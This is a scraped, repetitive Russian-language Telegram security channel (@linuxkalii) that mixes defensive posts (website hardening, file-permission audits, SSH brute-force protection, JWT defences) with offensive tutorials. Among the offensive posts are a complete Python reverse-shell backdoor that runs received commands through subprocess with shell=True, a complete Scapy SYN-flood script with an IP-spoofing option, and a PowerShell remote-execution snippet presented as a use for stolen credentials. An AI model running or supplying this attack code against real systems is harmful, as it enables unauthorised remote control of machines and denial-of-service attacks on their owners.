🔑12 ключевых советов, которые помогут укрепить защиту вашего веб-сайта
Веб-сайты всегда находятся под угрозой атак злоумышленников, поэтому необходимо обеспечить надежную защиту вашего сайта и сервера, независимо от их типа. Для помощи в этом мы расскажем о 12 основных шагах, которые вы можете предпринять, чтобы укрепить защиту вашего сайта и повысить безопасность вашей рабочей среды.
1. Регулярно обновляйте свой сайт
Обновляйте любое ПО, связанное с работой сервера и сайта, включая CMS, плагины, темы, расширения, а также сервер, Apache и PHP. Это поможет предотвратить атаки злоумышленников с использованием известных уязвимостей.
2. Уменьшите поверхность атаки, ограничив доступ к общедоступным областям сайта и защищая все точки доступа. Это можно осуществить с помощью настроек сервера, конфигурации прав доступа и современных брандмауэров веб-приложений.
3. Удаляйте ненужные плагины и темы, чтобы снизить риск кибератаки на ваш сайт. Чем больше программного обеспечения используется на сайте, тем выше вероятность наличия уязвимостей, которые могут быть использованы злоумышленниками. Важно не только отключать, но и удалять неиспользуемые плагины, темы и сторонние компоненты.
4. Применяйте принцип наименьших привилегий, ограничив права каждого члена команды только необходимыми. Отзывайте права администратора при выполнении задач, где они не нужны.
5. Защитите панель администратора от атак
Любой сайт на WordPress подвержен взлому панели администратора, который может быть выполнен методом перебора. Чтобы предотвратить атаки злоумышленников и повысить безопасность панели администратора, следует:
▪Ограничивать доступ к панели администратора, используя IP-адреса
▪Использовать CAPTCHA для проверки подлинности
▪Ограничивать количество попыток входа
▪Использовать нестандартный URL для панели администратора.
6. Используйте многофакторную аутентификацию для надежной защиты от несанкционированного доступа. Объедините две или более формы аутентификации, например, что знает пользователь (пароль), что есть у пользователя (одноразовый код) или что представляет собой пользователь (биометрия).
7. Используйте надежные и уникальные пароли для всех своих учетных записей, связанных с сайтом. Используйте менеджер паролей для удобного управления паролями.
8. Разрешите доступ к сайту через HTTPS и ограничьте его использование только для определенных областей при помощи VPN или прокси. Предоставьте доступ на безопасных устройствах для администраторов. Идеально, чтобы доступ ко всем сайтам был осуществлен по HTTPS-протоколу для надежного шифрования данных в пути передачи.
9. Сократите количество информации, доступной потенциальным хакерам. Вместо того, чтобы сообщать об ошибке в пароле, изменим сообщение на "Недействительность аккаунта". Причина такого подхода заключается в том, что при первом способе злоумышленник может узнать, что имя пользователя верное и нужно лишь угадать пароль. Во втором случае же, неясно, где именно была допущена ошибка: в логине, пароле или в обоих. Кроме того, необходимо убедиться, что важная информация о сайте не сохраняется в логах сервера, и что они не подвержены доступу со стороны посторонних.
10. Не забывайте регулярно проверять свой сайт и следить за логами, так как это очень важно для контроля технического состояния веб-ресурса и соответствия законодательству, такому как GDPR и CIPA. Логи помогут быстро устранять неисправности, обнаруживать неправильные настройки, оповещать о возможных атаках и собирать ценную информацию.
11. Используйте методы санитизации входных данных для предотвращения атак на ваш сайт, фильтруйте и проверяйте вводимые данные и задайте ограничения на их длину и форму. Это поможет повысить безопасность вашего сайта и предотвратить SQL-инъекции.
12. Для обеспечения безопасности вашего веб-приложения рекомендуется приобрести брандмауэр. Он защитит ваш сайт и сервер от DDoS-атак, но важно помнить, что это не гарантирует полной безопасности, поэтому следуйте рекомендациям, которые были приведены ранее.
@linuxkalii
Веб-сайты всегда находятся под угрозой атак злоумышленников, поэтому необходимо обеспечить надежную защиту вашего сайта и сервера, независимо от их типа. Для помощи в этом мы расскажем о 12 основных шагах, которые вы можете предпринять, чтобы укрепить защиту вашего сайта и повысить безопасность вашей рабочей среды.
1. Регулярно обновляйте свой сайт
Обновляйте любое ПО, связанное с работой сервера и сайта, включая CMS, плагины, темы, расширения, а также сервер, Apache и PHP. Это поможет предотвратить атаки злоумышленников с использованием известных уязвимостей.
2. Уменьшите поверхность атаки, ограничив доступ к общедоступным областям сайта и защищая все точки доступа. Это можно осуществить с помощью настроек сервера, конфигурации прав доступа и современных брандмауэров веб-приложений.
3. Удаляйте ненужные плагины и темы, чтобы снизить риск кибератаки на ваш сайт. Чем больше программного обеспечения используется на сайте, тем выше вероятность наличия уязвимостей, которые могут быть использованы злоумышленниками. Важно не только отключать, но и удалять неиспользуемые плагины, темы и сторонние компоненты.
4. Применяйте принцип наименьших привилегий, ограничив права каждого члена команды только необходимыми. Отзывайте права администратора при выполнении задач, где они не нужны.
5. Защитите панель администратора от атак
Любой сайт на WordPress подвержен взлому панели администратора, который может быть выполнен методом перебора. Чтобы предотвратить атаки злоумышленников и повысить безопасность панели администратора, следует:
▪Ограничивать доступ к панели администратора, используя IP-адреса
▪Использовать CAPTCHA для проверки подлинности
▪Ограничивать количество попыток входа
▪Использовать нестандартный URL для панели администратора.
6. Используйте многофакторную аутентификацию для надежной защиты от несанкционированного доступа. Объедините две или более формы аутентификации, например, что знает пользователь (пароль), что есть у пользователя (одноразовый код) или что представляет собой пользователь (биометрия).
7. Используйте надежные и уникальные пароли для всех своих учетных записей, связанных с сайтом. Используйте менеджер паролей для удобного управления паролями.
8. Разрешите доступ к сайту через HTTPS и ограничьте его использование только для определенных областей при помощи VPN или прокси. Предоставьте доступ на безопасных устройствах для администраторов. Идеально, чтобы доступ ко всем сайтам был осуществлен по HTTPS-протоколу для надежного шифрования данных в пути передачи.
9. Сократите количество информации, доступной потенциальным хакерам. Вместо того, чтобы сообщать об ошибке в пароле, изменим сообщение на "Недействительность аккаунта". Причина такого подхода заключается в том, что при первом способе злоумышленник может узнать, что имя пользователя верное и нужно лишь угадать пароль. Во втором случае же, неясно, где именно была допущена ошибка: в логине, пароле или в обоих. Кроме того, необходимо убедиться, что важная информация о сайте не сохраняется в логах сервера, и что они не подвержены доступу со стороны посторонних.
10. Не забывайте регулярно проверять свой сайт и следить за логами, так как это очень важно для контроля технического состояния веб-ресурса и соответствия законодательству, такому как GDPR и CIPA. Логи помогут быстро устранять неисправности, обнаруживать неправильные настройки, оповещать о возможных атаках и собирать ценную информацию.
11. Используйте методы санитизации входных данных для предотвращения атак на ваш сайт, фильтруйте и проверяйте вводимые данные и задайте ограничения на их длину и форму. Это поможет повысить безопасность вашего сайта и предотвратить SQL-инъекции.
12. Для обеспечения безопасности вашего веб-приложения рекомендуется приобрести брандмауэр. Он защитит ваш сайт и сервер от DDoS-атак, но важно помнить, что это не гарантирует полной безопасности, поэтому следуйте рекомендациям, которые были приведены ранее.
@linuxkalii
👍17❤3🔥1🥰1
🔥 Подборка каналов
🖥 Machine learning
ai_ml – машинное обучение, ии , нейросети.
datasc - Data science в телеграм!
@bigdatai - Big Data
@machinelearning_ru – гайды по машинному обучению
@machinelearning_interview – подготовка к собеседованию мл.
@datascienceiot – бесплатные книги ds
@ArtificialIntelligencedl – ИИ
@machinee_learning – чат о машинном обучении
@datascienceml_jobs - вакансии ds, ml
@Machinelearning_Jobs - чат с вакансиями
#️⃣ c# c++
C# - погружение в C#
@csharp_cplus чат
С++ - обучающий канал по C++.
@csharp_1001_notes - инструменты C#
🖥 SQL базы данных
@sqlhub - Повышение эффективности кода с грамотным использованием бд.
@chat_sql - чат изучения бд.
👣 Golang
@Golang_google - восхитительный язык от Google, мощный и перспективный.
@golang_interview - вопросы и ответы с собеседований по Go. Для всех уровней разработчиков.
@golangtests - интересные тесты и задачи GO
@golangl - чат изучающих Go
@GolangJobsit - отборные вакансии и работа GO
@golang_jobsgo - чат для ищущих работу.
@golang_books - полезные книги Golang
@golang_speak - обсуждение языка Go
@golangnewss - новости go
🖥 Linux
linux - kali linux ос для хакинга
linux chat - чат linux для обучения и помощи.
@linux_read - бесплатные книги linux
🖥 Python
@pythonl - главный канал самого популярного языка программирования.
@pro_python_code – учим python с ментором.
@python_job_interview – подготовка к Python собеседованию.
@python_testit - проверочные тесты на python
@pythonlbooks - современные книги Python
@python_djangojobs - работа для Python программистов
@python_django_work - чат обсуждения вакансий
🖥 Javascript / front
@react_tg - - 40,14% разработчиков сайтов использовали React в 2022 году - это самая популярная библиотека для создания сайтов.
@javascript -канал для JS и FrontEnd разработчиков. Лучшие практики и примеры кода. Туториалы и фишки JS
@Js Tests - каверзные тесты JS
@hashdev - погружение в web разработку.
@javascriptjobjs - отборные вакансии и работа FrontEnd.
@jsspeak - чат поиска FrontEnd работы.
🖥 Java
@javatg - выучить Java с senior разработчиком на практике
@javachats - чат для ответов на вопросы по Java
@java_library - библиотека книг Java
@android_its - Android разработка
@java_quizes - тесты Java
@Java_workit - работа Java
@progersit - шпаргалки ит
👷♂️ IT работа
https://t.me/addlist/_zyy_jQ_QUsyM2Vi -ит каналы по яп с вакансиями
🤡It memes
@memes_prog - ит-мемы
⚙️ Rust
@rust_code - Rust избавлен от болевых точек, которые есть во многих современных яп
@rust_chats - чат rust
📓 Книги
https://t.me/addlist/HwywK4fErd8wYzQy - актуальные книги по всем яп
⭐️ Нейронные сети
@vistehno - chatgpt ведет блог, решает любые задачи и отвечает на любые ваши вопросы.
@aigen - сети для генерации картинок. видео, музыки и многого другого.
@neural – погружение в нейросети.
📢 English for coders
@english_forprogrammers - Английский для программистов
🖥 Devops
Devops - канал для DevOps специалистов.
ai_ml – машинное обучение, ии , нейросети.
datasc - Data science в телеграм!
@bigdatai - Big Data
@machinelearning_ru – гайды по машинному обучению
@machinelearning_interview – подготовка к собеседованию мл.
@datascienceiot – бесплатные книги ds
@ArtificialIntelligencedl – ИИ
@machinee_learning – чат о машинном обучении
@datascienceml_jobs - вакансии ds, ml
@Machinelearning_Jobs - чат с вакансиями
#️⃣ c# c++
C# - погружение в C#
@csharp_cplus чат
С++ - обучающий канал по C++.
@csharp_1001_notes - инструменты C#
@sqlhub - Повышение эффективности кода с грамотным использованием бд.
@chat_sql - чат изучения бд.
@Golang_google - восхитительный язык от Google, мощный и перспективный.
@golang_interview - вопросы и ответы с собеседований по Go. Для всех уровней разработчиков.
@golangtests - интересные тесты и задачи GO
@golangl - чат изучающих Go
@GolangJobsit - отборные вакансии и работа GO
@golang_jobsgo - чат для ищущих работу.
@golang_books - полезные книги Golang
@golang_speak - обсуждение языка Go
@golangnewss - новости go
linux - kali linux ос для хакинга
linux chat - чат linux для обучения и помощи.
@linux_read - бесплатные книги linux
@pythonl - главный канал самого популярного языка программирования.
@pro_python_code – учим python с ментором.
@python_job_interview – подготовка к Python собеседованию.
@python_testit - проверочные тесты на python
@pythonlbooks - современные книги Python
@python_djangojobs - работа для Python программистов
@python_django_work - чат обсуждения вакансий
@react_tg - - 40,14% разработчиков сайтов использовали React в 2022 году - это самая популярная библиотека для создания сайтов.
@javascript -канал для JS и FrontEnd разработчиков. Лучшие практики и примеры кода. Туториалы и фишки JS
@Js Tests - каверзные тесты JS
@hashdev - погружение в web разработку.
@javascriptjobjs - отборные вакансии и работа FrontEnd.
@jsspeak - чат поиска FrontEnd работы.
@javatg - выучить Java с senior разработчиком на практике
@javachats - чат для ответов на вопросы по Java
@java_library - библиотека книг Java
@android_its - Android разработка
@java_quizes - тесты Java
@Java_workit - работа Java
@progersit - шпаргалки ит
👷♂️ IT работа
https://t.me/addlist/_zyy_jQ_QUsyM2Vi -ит каналы по яп с вакансиями
🤡It memes
@memes_prog - ит-мемы
⚙️ Rust
@rust_code - Rust избавлен от болевых точек, которые есть во многих современных яп
@rust_chats - чат rust
📓 Книги
https://t.me/addlist/HwywK4fErd8wYzQy - актуальные книги по всем яп
@vistehno - chatgpt ведет блог, решает любые задачи и отвечает на любые ваши вопросы.
@aigen - сети для генерации картинок. видео, музыки и многого другого.
@neural – погружение в нейросети.
@english_forprogrammers - Английский для программистов
Devops - канал для DevOps специалистов.
Please open Telegram to view this post
VIEW IN TELEGRAM
❤6👍1🔥1🥰1😁1
Создание бэкдора на Python
Бэкдор — это инструмент, который позволяет хакеру удаленно подключиться к целевой машине. В этой статье я покажу, как создать простой бэкдор на Pyhton
Основная цель бэкдора — отправлять и выполнять команды и получить удаленный доступ к файлам на целевой системе.
Создание бэкдора на Python
Во-первых, мы должны создать сервер, на котором будем работать. Сервер будет состоять из четырех частей:
1) Получение нашего локального IP и указанного порта.
2) Привязка IP-адреса и порта для создания сокета.
3) Запуск слушателя.
4) Отправка и получение команд в бесконечном цикле.
Затем мы подключимся к атакующему на основе жестко запрограммированного IP-адреса и порта, поскольку он не может получить их динамически.
Поскольку мы запускаем эту обратную оболочку на локальной машине, сокет будет выглядеть так:
Далее мы должны получать команды и использовать библиотечный подпроцесс для открытия терминала и параллельного запуска команд. Вот как это будет выглядеть:
Полный код сервера выглядит следующим образом:
@linuxkalii
Бэкдор — это инструмент, который позволяет хакеру удаленно подключиться к целевой машине. В этой статье я покажу, как создать простой бэкдор на Pyhton
Основная цель бэкдора — отправлять и выполнять команды и получить удаленный доступ к файлам на целевой системе.
Создание бэкдора на Python
Во-первых, мы должны создать сервер, на котором будем работать. Сервер будет состоять из четырех частей:
1) Получение нашего локального IP и указанного порта.
2) Привязка IP-адреса и порта для создания сокета.
3) Запуск слушателя.
4) Отправка и получение команд в бесконечном цикле.
# Imports
import socket
# Getting our local IP and a specified port
HOST = '127.0.0.1' # '192.168.43.82'
PORT = 8081 # 2222
new_port = input('Input Host Port (Blank if default).')
if (new_port != "\n"):
REMOTE_PORT = new_port
# Binding the IP to the Port
# Creating a Socket
server = socket.socket()
server.bind((HOST, PORT))
# Starting the Listener
print('[+] Server Started')
print('[+] Listening For Client Connection ...')
server.listen(1)
client, client_addr = server.accept()
print(f'[+] {client_addr} Client connected to the server')
# Sending and receiving commands in an infinite loop
while True:
command = input('Enter Command : ')
command = command.encode()
client.send(command)
print('[+] Command sent')
output = client.recv(1024)
output = output.decode()
print(f"Output: {output}")Затем мы подключимся к атакующему на основе жестко запрограммированного IP-адреса и порта, поскольку он не может получить их динамически.
Поскольку мы запускаем эту обратную оболочку на локальной машине, сокет будет выглядеть так:
REMOTE_HOST = '127.0.0.1'
REMOTE_PORT = 8081 # 2222
client = socket.socket()Далее мы должны получать команды и использовать библиотечный подпроцесс для открытия терминала и параллельного запуска команд. Вот как это будет выглядеть:
command = client.recv(1024)
command = command.decode()
op = subprocess.Popen(command, shell=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE)Полный код сервера выглядит следующим образом:
# Imports
from ctypes.wintypes import INT
import socket
import subprocess
# Setting Up IP/Sockets
REMOTE_HOST = '127.0.0.1'
REMOTE_PORT = 8081 # 2222
client = socket.socket()
# Initializing Connection
print("[-] Connection Initiating...")
client.connect((REMOTE_HOST, REMOTE_PORT))
print("[-] Connection initiated!")
# Runtime Loop
while True:
print("[-] Awaiting commands...")
command = client.recv(1024)
command = command.decode()
op = subprocess.Popen(command, shell=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE)
output = op.stdout.read()
output_error = op.stderr.read()
print("[-] Sending response...")
client.send(output + output_error)@linuxkalii
👍20🔥8👎5❤4🤩4
🔑Шифрование и дешифрование в PowerShell
В PowerShell командлеты ConvertTo-SecureString и ConvertFrom-SecureString можно использовать для шифрования и дешифрования стандартной строки System.String в System.Security.SecureString.
Пример: строка шифруется и сохраняется в переменной:
При введении имя переменной, содержащей зашифрованную строку, то увидим ее тип System.Security.SecureString (в картинке)
Также можем расшифровать данные, хранящиеся в объекте System.Security.SecureString, следующим образом:
Использование зашифрованных строк для учетных данных PowerShell
Возможность выполнения командлета от имени другого пользователя – полезная опция, особенно для Red Team-ов, которые могут использовать украденные учетные данные для взлома удаленной машины. Для указания учетных данных, необходимых при запуске командлета, используется параметр Credential, который требует объект PSCredential. Для создания этого объекта необходимо указать имя пользователя и зашифрованный пароль.
Рекомендуется использовать командлет Read-Host с параметром AsSecureString для ввода пароля в безопасной форме, т.к. это предотвратит регистрацию учетных данных в журналах PowerShell.
С помощью кода PowerShell можно считывать данные со стандартного ввода и сохранять их в переменной в виде защищенной строки:
Затем можем взять эту безопасную строку и создать требуемый объект PSCredential:
Теперь можем использовать этот объект PSCredential с командлетами, позволяющими указать параметр Credential. Вот как выполняется командлет Invoke-Command на удаленной машине с WINRM от имени другого пользователя, используя созданный нами PSCredential:
@linuxkalii
В PowerShell командлеты ConvertTo-SecureString и ConvertFrom-SecureString можно использовать для шифрования и дешифрования стандартной строки System.String в System.Security.SecureString.
Пример: строка шифруется и сохраняется в переменной:
data = "This is some extremely important data"
$encryptedData = ConvertTo-SecureString -String $data -AsPlainTextПри введении имя переменной, содержащей зашифрованную строку, то увидим ее тип System.Security.SecureString (в картинке)
Также можем расшифровать данные, хранящиеся в объекте System.Security.SecureString, следующим образом:
ConvertFrom-SecureString -SecureString $encryptedData -AsPlainTextИспользование зашифрованных строк для учетных данных PowerShell
Возможность выполнения командлета от имени другого пользователя – полезная опция, особенно для Red Team-ов, которые могут использовать украденные учетные данные для взлома удаленной машины. Для указания учетных данных, необходимых при запуске командлета, используется параметр Credential, который требует объект PSCredential. Для создания этого объекта необходимо указать имя пользователя и зашифрованный пароль.
Рекомендуется использовать командлет Read-Host с параметром AsSecureString для ввода пароля в безопасной форме, т.к. это предотвратит регистрацию учетных данных в журналах PowerShell.
С помощью кода PowerShell можно считывать данные со стандартного ввода и сохранять их в переменной в виде защищенной строки:
$password = Read-Host -AsSecureStringЗатем можем взять эту безопасную строку и создать требуемый объект PSCredential:
$Cred = New-Object System.Management.Automation.PSCredential("domain\user", $password)Теперь можем использовать этот объект PSCredential с командлетами, позволяющими указать параметр Credential. Вот как выполняется командлет Invoke-Command на удаленной машине с WINRM от имени другого пользователя, используя созданный нами PSCredential:
Invoke-Command -Credential $Cred -ScriptBlock { whoami } -ComputerName 10.10.1.11@linuxkalii
👍17🔥3❤2
🔍Поиск нежелательных прав доступа к файлам Kali Linux
Ниже приведен список полезных команд, которые вы можете использовать для выполнения этой важной задачи.
▪Найти все файлы, доступные для чтения другим пользователям
Показать все файлы в текущем каталоге, доступные для чтения другим пользователям. Многие из этих файлов расположены в скрытых каталогах. Однако, если в этом списке появляются какие-либо конфиденциальные файлы (например, ключи SSH), необходимо изменить разрешения, чтобы обеспечить конфиденциальность данных:
▪Найти все файлы с доступом для других пользователей
Следующая команда отобразит все файлы в домашнем каталоге, которые имеют права на чтение, запись или выполнение для других. Это полезно для получения общего представления о том, к чему могут получить доступ другие пользователи в вашем домашнем каталоге, и применения любых ограничительных действий, если это необходимо:
▪Найти все файлы, доступные для записи другим пользователям
Все файлы в этом списке должны быть тщательно проанализированы, чтобы определить, должны ли они быть доступны для записи другим пользователям. В противном случае необходимо изменить разрешения:
▪Найти все файлы, исполняемые пользователем или группой и доступные для записи другим пользователям
Если вы нашли файл, который может быть запущен другим, вы должны проанализировать, существует ли допустимое исключение для такого поведения. В противном случае необходимо немедленно изменить права доступа к файлам, чтобы предотвратить какое-либо влияние на целостность и доступность файлов:
▪Найти все файлы, не принадлежащие определенной группе
Показать все файлы в текущем рабочем каталоге, которые не принадлежат указанной группе:
▪Найти все файлы, принадлежащие определенной группе
Показать все файлы в вашем домашнем каталоге, принадлежащие указанной группе:
@linuxkalii
Ниже приведен список полезных команд, которые вы можете использовать для выполнения этой важной задачи.
▪Найти все файлы, доступные для чтения другим пользователям
Показать все файлы в текущем каталоге, доступные для чтения другим пользователям. Многие из этих файлов расположены в скрытых каталогах. Однако, если в этом списке появляются какие-либо конфиденциальные файлы (например, ключи SSH), необходимо изменить разрешения, чтобы обеспечить конфиденциальность данных:
find . -perm /004 -type f -print0 | xargs -0 ls -l▪Найти все файлы с доступом для других пользователей
Следующая команда отобразит все файлы в домашнем каталоге, которые имеют права на чтение, запись или выполнение для других. Это полезно для получения общего представления о том, к чему могут получить доступ другие пользователи в вашем домашнем каталоге, и применения любых ограничительных действий, если это необходимо:
find ~ -perm /007 -type f -print0 | xargs -0 ls -l▪Найти все файлы, доступные для записи другим пользователям
Все файлы в этом списке должны быть тщательно проанализированы, чтобы определить, должны ли они быть доступны для записи другим пользователям. В противном случае необходимо изменить разрешения:
find /{название_директории} -perm /002 -type f -print0 | xargs -0 ls -l▪Найти все файлы, исполняемые пользователем или группой и доступные для записи другим пользователям
Если вы нашли файл, который может быть запущен другим, вы должны проанализировать, существует ли допустимое исключение для такого поведения. В противном случае необходимо немедленно изменить права доступа к файлам, чтобы предотвратить какое-либо влияние на целостность и доступность файлов:
find ~ -perm -102 -type f -print0 | xargs -0 ls -l # User
find ~ -perm -012 -type f -print0 | xargs -0 ls -l # Group▪Найти все файлы, не принадлежащие определенной группе
Показать все файлы в текущем рабочем каталоге, которые не принадлежат указанной группе:
find . -not -group {название_группы} -type f -print0 | xargs -0 ls -l▪Найти все файлы, принадлежащие определенной группе
Показать все файлы в вашем домашнем каталоге, принадлежащие указанной группе:
find ~ -group {название_группы} -type f -print0 | xargs -0 ls -l@linuxkalii
👍17❤3🔥1
💻Как осуществить атаку SYN Flooding в Python
В этой статье будет реализована атака SYN flood с использованием библиотеки Scapy в Python.
▪Необходимо установить Scapy:
▪Откройте новый файл Python и импортируйте Scapy:
▪Проверить на своем локальном маршрутизаторе, который имеет частный IP-адрес 192.168.1.1:
▪Целевым портом является HTTP, так как я хочу залить веб-интерфейс моего маршрутизатора. Теперь давайте подделаем наш SYN-пакет, начиная с IP-уровня:
Мы указали dst в качестве целевого IP-адреса, мы также можем установить src-адрес на поддельный случайный IP-адрес в диапазоне частной сети (закомментированный код), и он также будет работать.
▪Давайте подделаем наш TCP уровень:
Итак, мы устанавливаем порт источника (sport) на случайное короткое значение (которое варьируется от 1 до 65535, как и порты) и dport (порт назначения) в качестве целевого порта. В данном случае это служба HTTP.
Мы также установили флаги на “S”, что указывает на тип SYN.
▪Теперь давайте добавим немного исходных данных для флуда, чтобы занять сеть:
Отлично!
▪Теперь сложим слои и отправим пакет:
Итак, мы использовали функцию send(), которая отправляет пакеты на уровне 3, мы установили loop на 1, чтобы продолжать отправку до нажатия CTRL+C, установив verbose на 0, мы не будем ничего печатать во время процесса.
▪Подробнее
@linuxkalii
В этой статье будет реализована атака SYN flood с использованием библиотеки Scapy в Python.
▪Необходимо установить Scapy:
pip3 install scapy▪Откройте новый файл Python и импортируйте Scapy:
from scapy.all import *▪Проверить на своем локальном маршрутизаторе, который имеет частный IP-адрес 192.168.1.1:
# target IP address (should be a testing router/firewall)
target_ip = "192.168.1.1"
# the target port u want to flood
target_port = 80▪Целевым портом является HTTP, так как я хочу залить веб-интерфейс моего маршрутизатора. Теперь давайте подделаем наш SYN-пакет, начиная с IP-уровня:
# forge IP packet with target ip as the destination IP address
ip = IP(dst=target_ip)
# or if you want to perform IP Spoofing (will work as well)
# ip = IP(src=RandIP("192.168.1.1/24"), dst=target_ip)Мы указали dst в качестве целевого IP-адреса, мы также можем установить src-адрес на поддельный случайный IP-адрес в диапазоне частной сети (закомментированный код), и он также будет работать.
▪Давайте подделаем наш TCP уровень:
# forge a TCP SYN packet with a random source port
# and the target port as the destination port
tcp = TCP(sport=RandShort(), dport=target_port, flags="S")Итак, мы устанавливаем порт источника (sport) на случайное короткое значение (которое варьируется от 1 до 65535, как и порты) и dport (порт назначения) в качестве целевого порта. В данном случае это служба HTTP.
Мы также установили флаги на “S”, что указывает на тип SYN.
▪Теперь давайте добавим немного исходных данных для флуда, чтобы занять сеть:
# add some flooding data (1KB in this case)
raw = Raw(b"X"*1024)Отлично!
▪Теперь сложим слои и отправим пакет:
# stack up the layers
p = ip / tcp / raw
# send the constructed packet in a loop until CTRL+C is detected
send(p, loop=1, verbose=0)Итак, мы использовали функцию send(), которая отправляет пакеты на уровне 3, мы установили loop на 1, чтобы продолжать отправку до нажатия CTRL+C, установив verbose на 0, мы не будем ничего печатать во время процесса.
▪Подробнее
@linuxkalii
👍10🔥3❤1
🔥 Большая шпаргалка по командам Linux
Сохраняйте себе, чтобы не потерять
#cheatsheet #linux
@linuxkalii
Сохраняйте себе, чтобы не потерять
#cheatsheet #linux
@linuxkalii
👍30🔥8❤4👏1
⚡JWT-атаки
JSON Web Token – это открытый стандарт (RFC 7519), который определяет компактный и автономный способ безопасной передачи информации между сторонами в виде объекта JSON.
Распространенные атаки, связанные с JWT:
▪Внедрение токена (Token Injection): Злоумышленник может попытаться модифицировать содержимое токена или внедрить свои данные, чтобы расширить свои привилегии или изменить свои права доступа.
▪ Подделка токена (Token Forgery): Злоумышленник может предпринять попытку создания или подделки JWT-токена с целью получить несанкционированный доступ к приложению или его ресурсам.
▪ Перебор токенов (Token Enumeration): Если приложение предоставляет разные ответы или ошибки для существующих и неверных токенов.
▪Атака брутфорсом подписи (Signature Brute-Force) - JWT-токены зачастую защищены цифровой подписью, которая гарантирует их подлинность. Однако, если использованы слабые алгоритмы подписи или слишком короткие ключи, можно обнаружить уязвимость подписи к брутфорсу. Злоумышленник может попытаться перебрать все возможные комбинации ключей для создания поддельного токена.
Инструменты для автоматизации JWT-атаки:
jwtXploiter — это Python-инструмент, предназначенный для автоматизации взлома JWT. Он позволяет проверить соответствие всех известных CVE для JWT и поддерживает различные виды атак на JWT, начиная от простого взлома и до выполнения атак с использованием самозаверяющих токенов!
JSON Web Tokens - это дополнение для Burpsuite, которое автоматизирует распространенные атаки на JWT. Кроме того, оно позволяет быстро выполнять кодирование / декодирование и проверку токенов.
JWT Tool - это широко используемый инструмент на языке Python, который позволяет производить проверку всех возможных атак, которые могут уязвимо существовать в веб-приложении.
JWT Editor - это дополнение для Burpsuite, которое обеспечивает возможность удобно изменять JWT-токены и быстро проверять различные методы обхода. JWT Editor предлагается в двух вариантах: бесплатной версии и платной версии Pro.
Методы защиты от JWT-атак:
✔️Установить временные ограничения действия токенов и использовать механизмы обновления или повторной аутентификации при необходимости.
✔️Сохранять ключи для подписи и шифрования токенов в надежном хранилище.
✔️Применять надежные алгоритмы шифрования и подписи, такие как HMAC-SHA256 или RSA.
✔️Регулярно обновлять и повышать безопасность ключей и алгоритмов.
✔️Использовать защищенное соединение (HTTPS) при передаче JWT-токенов.
✔️Избегать передачи конфиденциальной информации напрямую в токенах.
@linuxkalii
JSON Web Token – это открытый стандарт (RFC 7519), который определяет компактный и автономный способ безопасной передачи информации между сторонами в виде объекта JSON.
Распространенные атаки, связанные с JWT:
▪Внедрение токена (Token Injection): Злоумышленник может попытаться модифицировать содержимое токена или внедрить свои данные, чтобы расширить свои привилегии или изменить свои права доступа.
▪ Подделка токена (Token Forgery): Злоумышленник может предпринять попытку создания или подделки JWT-токена с целью получить несанкционированный доступ к приложению или его ресурсам.
▪ Перебор токенов (Token Enumeration): Если приложение предоставляет разные ответы или ошибки для существующих и неверных токенов.
▪Атака брутфорсом подписи (Signature Brute-Force) - JWT-токены зачастую защищены цифровой подписью, которая гарантирует их подлинность. Однако, если использованы слабые алгоритмы подписи или слишком короткие ключи, можно обнаружить уязвимость подписи к брутфорсу. Злоумышленник может попытаться перебрать все возможные комбинации ключей для создания поддельного токена.
Инструменты для автоматизации JWT-атаки:
jwtXploiter — это Python-инструмент, предназначенный для автоматизации взлома JWT. Он позволяет проверить соответствие всех известных CVE для JWT и поддерживает различные виды атак на JWT, начиная от простого взлома и до выполнения атак с использованием самозаверяющих токенов!
JSON Web Tokens - это дополнение для Burpsuite, которое автоматизирует распространенные атаки на JWT. Кроме того, оно позволяет быстро выполнять кодирование / декодирование и проверку токенов.
JWT Tool - это широко используемый инструмент на языке Python, который позволяет производить проверку всех возможных атак, которые могут уязвимо существовать в веб-приложении.
JWT Editor - это дополнение для Burpsuite, которое обеспечивает возможность удобно изменять JWT-токены и быстро проверять различные методы обхода. JWT Editor предлагается в двух вариантах: бесплатной версии и платной версии Pro.
Методы защиты от JWT-атак:
✔️Установить временные ограничения действия токенов и использовать механизмы обновления или повторной аутентификации при необходимости.
✔️Сохранять ключи для подписи и шифрования токенов в надежном хранилище.
✔️Применять надежные алгоритмы шифрования и подписи, такие как HMAC-SHA256 или RSA.
✔️Регулярно обновлять и повышать безопасность ключей и алгоритмов.
✔️Использовать защищенное соединение (HTTPS) при передаче JWT-токенов.
✔️Избегать передачи конфиденциальной информации напрямую в токенах.
@linuxkalii
👍16❤3🔥2
🛡Защита от Брутфорса SSH в Linux
Сетевая видимость — повод для атак. Проблемой является перебор паролей, в том числе и для SSH.
Защититься от этого можно по-разному:
1) Используя возможности настройки демона SSH
2) Пакетный фильтр
3) Специальные приложения
4) Port knocking
▪Измените 22-й порт на 2002-й, если это возможно. Вносим запись в /etc/ssh/sshd_config:
▪В случаях, когда невозможно изменить порт, можно ограничить доступ к SSH определенными пользователями или группами. Это можно сделать с помощью параметров AllowUsers, AllowGroups, DenyUsers и DenyGroups в файле sshd_config. Логину также можно указать IP или подсеть. Например, можно разрешить доступ пользователю admin и user, при этом последний может подключаться только с одного IP.
▪Еще один действенный вариант защиты от перебора – использование для аутентификации сертификатов.
Например, запретим вход по SSH по паролю для пользователя root, разрешив всем остальным:
▪Используя TCP Wrapper, также можем ограничить доступ к любому сервису только с определенных IP, для этого следует лишь прописать в файл /etc/hosts.allow или /etc/hosts.deny нужное правило. Разрешим в /etc/hosts.allow доступ только с нужной подсети:
Или в /etc/hosts.deny:
▪Пакетный фильтр позволяет очень точно задавать параметры соединений, отбрасывая ненужные пакеты. С его помощью легко ограничить доступ к 22-му порту только определенным адресам. Пример:
▪Fail2ban и Sshguard - специальные утилиты, которые помогают защитить систему от подозрительных действий. Эти программы фильтруют пакеты по портам и IP-адресам и блокируют подозрительные IP-адреса, используя iptables или TCP Wrapper.
Fail2ban был создан для защиты SSH, но сейчас он может быть настроен для использования с различными приложениями. Принцип работы очень прост - демон периодически проверяет журналы на наличие записей о подозрительной активности и блокирует подозрительные IP-адреса.
По умолчанию Fail2ban защищает только SSH, но может быть настроен для контроля нескольких сервисов одновременно. Все события отображаются в журнале fail2ban.log и могут быть отправлены по электронной почте.
В Ubuntu и Debian устанавливается командой:
▪Все настройки производятся в нескольких файлах, размещенных в каталоге /etc/fail2ban. В fail2ban.conf хранятся параметры запуска самого демона, в jail.conf описываются контролируемые сервисы (внутри секции SSH).
